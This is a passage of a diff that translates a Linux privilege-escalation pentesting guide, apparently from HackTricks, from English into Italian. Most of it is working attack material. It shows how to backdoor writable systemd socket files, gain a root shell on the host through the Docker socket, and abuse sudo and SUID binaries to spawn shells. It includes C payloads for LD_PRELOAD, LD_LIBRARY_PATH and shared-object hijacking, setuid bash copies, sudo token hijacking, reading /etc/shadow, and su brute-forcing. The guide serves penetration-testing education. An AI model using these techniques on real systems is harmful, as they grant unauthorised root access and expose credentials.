falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. +- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione. -### Writable .socket files +### File .socket scrivibili -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\ +&#xNAN;_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_ -### Writable sockets +### Sockets scrivibili -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +Se **identifichi un socket scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e forse sfruttare una vulnerabilità. +### Enumerare i Unix Sockets ```bash netstat -a -p --unix ``` - -### Raw connection - +### Connessione grezza ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -560,93 +473,88 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**Esempio di sfruttamento:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### Sockets HTTP +Nota che potrebbero esserci alcuni **sockets in ascolto per richieste HTTP** (_Non sto parlando di file .socket ma dei file che fungono da sockets unix_). Puoi verificare questo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con esso e forse **sfruttare qualche vulnerabilità**. -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +### Socket Docker Scrivibile -### Writable Docker Socket +Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questo socket può portare a un'escalation di privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile. -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. - -#### **Privilege Escalation with Docker CLI** - -If you have write access to the Docker socket, you can escalate privileges using the following commands: +#### **Escalation di Privilegi con Docker CLI** +Se hai accesso in scrittura al socket Docker, puoi elevare i privilegi utilizzando i seguenti comandi: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +Questi comandi ti consentono di eseguire un container con accesso a livello root al file system dell'host. -These commands allow you to run a container with root-level access to the host's file system. +#### **Utilizzando direttamente l'API Docker** -#### **Using Docker API Directly** +Nei casi in cui il Docker CLI non sia disponibile, il socket Docker può comunque essere manipolato utilizzando l'API Docker e i comandi `curl`. -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **Elenca le immagini Docker:** Recupera l'elenco delle immagini disponibili. -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **Crea un container:** Invia una richiesta per creare un container che monta la directory root del sistema host. -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +Avvia il container appena creato: - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **Collegati al container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso a livello root al file system dell'host. -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### Altri -### Others +Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/#docker-group). Se l'[**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Controlla **altri modi per uscire da docker o abusarne per elevare i privilegi** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Elevazione dei privilegi di Containerd (ctr) -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Se scopri di poter utilizzare il comando **`ctr`** leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **Elevazione dei privilegi di RunC** -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Se scopri di poter utilizzare il comando **`runc`** leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**: {{#ref}} runc-privilege-escalation.md @@ -654,37 +562,34 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus è un sofisticato **sistema di comunicazione inter-processo (IPC)** che consente alle applicazioni di interagire e condividere dati in modo efficiente. Progettato tenendo presente il moderno sistema Linux, offre un robusto framework per diverse forme di comunicazione tra applicazioni. -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX avanzati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione fluida tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi. -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus opera su un **modello di autorizzazione/negazione**, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di policy corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'elevazione dei privilegi attraverso lo sfruttamento di questi permessi. -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. - -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +Un esempio di tale politica in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliando i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Le politiche senza un utente o gruppo specificato si applicano universalmente, mentre le politiche di contesto "predefinite" si applicano a tutti non coperti da altre politiche specifiche. ```xml - - - - + + + + ``` - -**Learn how to enumerate and exploit a D-Bus communication here:** +**Impara come enumerare e sfruttare una comunicazione D-Bus qui:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **Rete** -It's always interesting to enumerate the network and figure out the position of the machine. - -### Generic enumeration +È sempre interessante enumerare la rete e capire la posizione della macchina. +### Enumerazione generica ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -707,30 +612,24 @@ cat /etc/networks #Files used by network services lsof -i ``` +### Porte aperte -### Open ports - -Always check network services running on the machine that you weren't able to interact with before accessing it: - +Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei stato in grado di interagire prima di accedervi: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` - ### Sniffing -Check if you can sniff traffic. If you can, you could be able to grab some credentials. - +Controlla se puoi sniffare il traffico. Se puoi, potresti essere in grado di acquisire alcune credenziali. ``` timeout 1 tcpdump ``` +## Utenti -## Users - -### Generic Enumeration - -Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** +### Enumerazione Generica +Controlla **chi** sei, quali **privilegi** hai, quali **utenti** sono nei sistemi, quali possono **accedere** e quali hanno **privilegi di root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -752,15 +651,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Alcune versioni di Linux sono state colpite da un bug che consente agli utenti con **UID > INT_MAX** di elevare i privilegi. Maggiori informazioni: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Sfruttalo** usando: **`systemd-run -t /bin/bash`** ### Groups -Check if you are a **member of some group** that could grant you root privileges: +Controlla se sei un **membro di qualche gruppo** che potrebbe concederti privilegi di root: {{#ref}} interesting-groups-linux-pe/ @@ -768,51 +666,44 @@ interesting-groups-linux-pe/ ### Clipboard -Check if anything interesting is located inside the clipboard (if possible) - +Controlla se c'è qualcosa di interessante all'interno degli appunti (se possibile) ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` - -### Password Policy - +### Politica delle Password ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### Password conosciute -### Known passwords - -If you **know any password** of the environment **try to login as each user** using the password. +Se **conosci qualche password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso agli utenti. -## Writable PATH abuses +## Abusi di PATH scrivibile ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +Se scopri che puoi **scrivere all'interno di qualche cartella del $PATH** potresti essere in grado di elevare i privilegi **creando una backdoor all'interno della cartella scrivibile** con il nome di qualche comando che verrà eseguito da un altro utente (idealmente root) e che **non è caricato da una cartella che si trova prima** della tua cartella scrivibile in $PATH. -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDO e SUID +Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controllalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +Alcuni **comandi inaspettati ti consentono di leggere e/o scrivere file o persino eseguire un comando.** Ad esempio: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -821,43 +712,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +La configurazione di Sudo potrebbe consentire a un utente di eseguire alcuni comandi con i privilegi di un altro utente senza conoscere la password. ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +In questo esempio, l'utente `demo` può eseguire `vim` come `root`, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root o chiamando `sh`. ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +Questa direttiva consente all'utente di **impostare una variabile di ambiente** durante l'esecuzione di qualcosa: ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria durante l'esecuzione dello script come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` - ### Sudo execution bypassing paths -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**Salta** per leggere altri file o usa **symlinks**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -867,89 +748,73 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +Se viene utilizzato un **wildcard** (\*), è ancora più facile: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### Comando Sudo/Binario SUID senza percorso del comando +Se il **permesso sudo** è dato a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` - -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary with command path +### SUID binary con percorso del comando -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando. +Ad esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +Poi, quando chiami il binario suid, questa funzione verrà eseguita ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +La variabile di ambiente **LD_PRELOAD** viene utilizzata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come preloading di una libreria. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema impone determinate condizioni: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. - -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +- Il loader ignora **LD_PRELOAD** per eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente efficace (_euid_). +- Per eseguibili con suid/sgid, solo le librerie nei percorsi standard che sono anche suid/sgid vengono preloaded. +L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'affermazione **env_keep+=LD_PRELOAD**. Questa configurazione consente alla variabile di ambiente **LD_PRELOAD** di persistere e di essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, portando potenzialmente all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +Salva come **/tmp/pe.c** ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +Poi **compilalo** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +Infine, **escalare i privilegi** eseguendo ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - > [!CAUTION] -> A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. - +> Un privesc simile può essere abusato se l'attaccante controlla la variabile di ambiente **LD_LIBRARY_PATH** perché controlla il percorso in cui verranno cercate le librerie. ```c #include #include @@ -957,9 +822,9 @@ sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -969,19 +834,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` - ### SUID Binary – .so injection -When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command: - +Quando si incontra un binario con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere controllato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory di questo tipo)"_ suggerisce un potenziale per sfruttare. -For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. - -To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: - +Per sfruttare questo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c #include #include @@ -989,22 +850,18 @@ To exploit this, one would proceed by creating a C file, say _"/path/to/.config/ static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` +Questo codice, una volta compilato ed eseguito, mira ad elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. -This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. - -Compile the above C file into a shared object (.so) file with: - +Compila il file C sopra in un file oggetto condiviso (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` +Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, consentendo un potenziale compromesso del sistema. -Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. - -## Shared Object Hijacking - +## Hijacking di Oggetti Condivisi ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1014,9 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +Ora che abbiamo trovato un binario SUID che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1025,24 +880,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +Se ricevi un errore come ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **iniettare solo argomenti** in un comando. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da shell ristrette, elevare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1055,96 +907,79 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Se puoi accedere a `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per controllare se trova come sfruttare qualsiasi regola sudo. -### Reusing Sudo Tokens +### Riutilizzo dei Token Sudo -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +Nei casi in cui hai **accesso sudo** ma non la password, puoi elevare i privilegi **aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione**. -Requirements to escalate privileges: +Requisiti per elevare i privilegi: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- Hai già una shell come utente "_sampleuser_" +- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (per impostazione predefinita è la durata del token sudo che ci consente di usare `sudo` senza inserire alcuna password) +- `cat /proc/sys/kernel/yama/ptrace_scope` è 0 +- `gdb` è accessibile (puoi essere in grado di caricarlo) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o modificarlo permanentemente in `/etc/sysctl.d/10-ptrace.conf` impostando `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +Se tutti questi requisiti sono soddisfatti, **puoi elevare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, fai `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -- The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **possessa da root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` - -- The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +- Il **terzo exploit** (`exploit_v3.sh`) creerà un file sudoers che rende **eterni i token sudo e consente a tutti gli utenti di utilizzare sudo** ```bash bash exploit_v3.sh sudo su ``` - ### /var/run/sudo/ts/\ -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e un PID**.\ +Ad esempio, se puoi sovrascrivere il file 